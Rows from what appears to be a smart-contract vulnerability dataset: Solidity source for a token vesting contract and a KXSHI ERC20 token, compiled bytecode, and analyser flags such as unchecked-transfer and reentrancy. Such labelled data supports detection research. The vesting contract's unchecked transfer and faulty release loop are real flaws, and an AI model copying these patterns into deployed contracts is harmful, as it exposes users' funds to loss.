8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b40c15f13d2ddafc0150efdbea02b6441952affe21428dda93fefaa74ef397b64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,934
0xA5368f3820482CfF82d71De9e20b5dDabBa9e388
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,935
0x92c27b6d4991d930c792548fffdb90bb7fed5efb
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'KXSHI Token' contract // // Symbol : KXSH // Name : KXSHI Token // Total supply: 1 998 000 // Decimals : 12 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract KXSH is BurnableToken { string public constant name = "KXSHI Token"; string public constant symbol = "KXSH"; uint public constant decimals = 12; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1998000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a11565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b6040518082815260200191505060405180910390f35b6103b1610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0e565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e2565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6040518060400160405280600b81526020017f4b5853484920546f6b656e00000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600c81565b600c600a0a621e7cb00281565b60008111610a1e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6a57600080fd5b6000339050610ac182600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b19826001546114b490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce8576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7c565b610cfb83826114b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054